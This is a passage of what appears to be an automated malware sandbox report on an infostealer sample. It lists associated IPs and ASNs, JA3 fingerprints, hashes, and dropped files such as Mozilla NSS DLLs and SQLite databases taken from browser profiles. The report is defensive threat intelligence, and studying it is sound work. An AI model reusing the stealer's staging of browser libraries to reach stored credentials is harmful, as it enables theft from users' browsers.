	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
RAYA-ASEG	hmips.elf	Get hash	malicious	Mirai	Browse	197.132.217.149
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	new.bat	Get hash	malicious	Unknown	Browse	23.218.232.146
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	23.218.232.159
AMAZON-02US	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.50
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	0xh0roxxnavebusyoo.arc.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.113.126
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	52.40.206.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.124.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	40.113.110.67 40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67 40.113.103.199
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	40.113.110.67 40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67 40.113.103.199
	1Eo0gOdDsV.exe	Get hash	malicious	Quasar	Browse	40.113.110.67 40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67 40.113.103.199
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	BorgHack.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	jM0HEXs5mI.exe__.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJJKFHJEBKFBGDAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHCBKKFIJJJECAAFCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBKEHDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676484324332093
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumq:Kq+n0Jv91LyKOMq+8iP5GLP/07
MD5:	9604D77EA0F40A3484C87CAB887A12CF
SHA1:	B42BEB3D3C8B188CA4C64D75A95E1D3585593C13
SHA-256:	9A94B2968F2A19418B76368BC3876B06B96D6CD0D6FBE2D949F617ADA62F9D93
SHA-512:	625C301249F0A7040C0E7DCF51A7FBC02667B9A72AE33E583802A4D50E25B593A27676BFE56F318E8B565F2CE1BF1862B960256F6FE46140FB7603B9507A837F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJECFBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\02fbad2a-e821-4d4d-a436-3489d44a11e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46479
Entropy (8bit):	6.087906021265927
Encrypted:	false
SSDEEP:	768:OMkbJrT8IeQcrQgm9lPx9i1zNtM/BAyJhD3FytWLbQQkHX1hcCioxJDSgzMMd6qo:OMk1rT8HG9tPJL0THUFoxtSmd6qE7D
MD5:	10C6F60F684E9A92F5E78B05F6AC44D0
SHA1:	630A9BAAFA1B3371F23AD97B3F1F6B46529F2ED8
SHA-256:	983808B5FF75F9817E055A9521D550B7C5F0369C78CE0D3EEE0937EE5E4F0AAD
SHA-512:	572698B2A2C15B3CA208C7F0460F6CD3A7938414D3AA159119CE879015544D31A14A70AE80DAF55A8E5A9E277DB9D85F47EF0B61231B83629F40968007A934EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376308050354724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"d81d54b2-74dd-40a1-bfa1-bc6949b496b5"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731834455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\550e03a2-5aa8-40cb-8500-46796b923928.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44894
Entropy (8bit):	6.095911693261452
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWt+i1zNtM/UNYMm2sDpqhKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzURKtSmd6qE7lFoC
MD5:	525EB7013C7005D8E88EE7137E6E4174
SHA1:	DDCA50917C20088A4D31DD481F482A7AB240192D
SHA-256:	052E29A3D282897229C84DF36630603BD3B4DE29CDAA6E44A30EC4BE0249C768
SHA-512:	2568E1FF996397365DC72D8F073A8F1EF6E5822DACE1A42C34615B11FA5776A8D245093A0D587669EE1F98BA5F330B38C7E48E4630554E1D96E992FB92AD36EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\82daaff4-5d09-422d-9ccc-0533767ff1a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46402
Entropy (8bit):	6.088006507685664
Encrypted:	false
SSDEEP:	768:OMkbJrT8IeQcrQgxKlPx9i1zNtM/U9AyJhD3FytWLbQQkHX1hcCioxJDSgzMMd6X:OMk1rT8HRKtPUtL0THUFoxtSmd6qE7D
MD5:	A8F70A541DEEF8386D0B122DE253925F
SHA1:	AE4C9E48AC8C93069EF614C3154E39C22DC8AD29
SHA-256:	AAC547A66B5CC0F2E169754CE42224272C51D17389BEC94D932104F2978FB2E3
SHA-512:	46FBEC2CD73C10FF4496420CF55728BA5BD315F96384C95EF98E095DFEB861CBE3BC7626E8138561C8B2A46BBD5991737CFAB65239F3E9166560BE605A5A1392
Malicious:	false
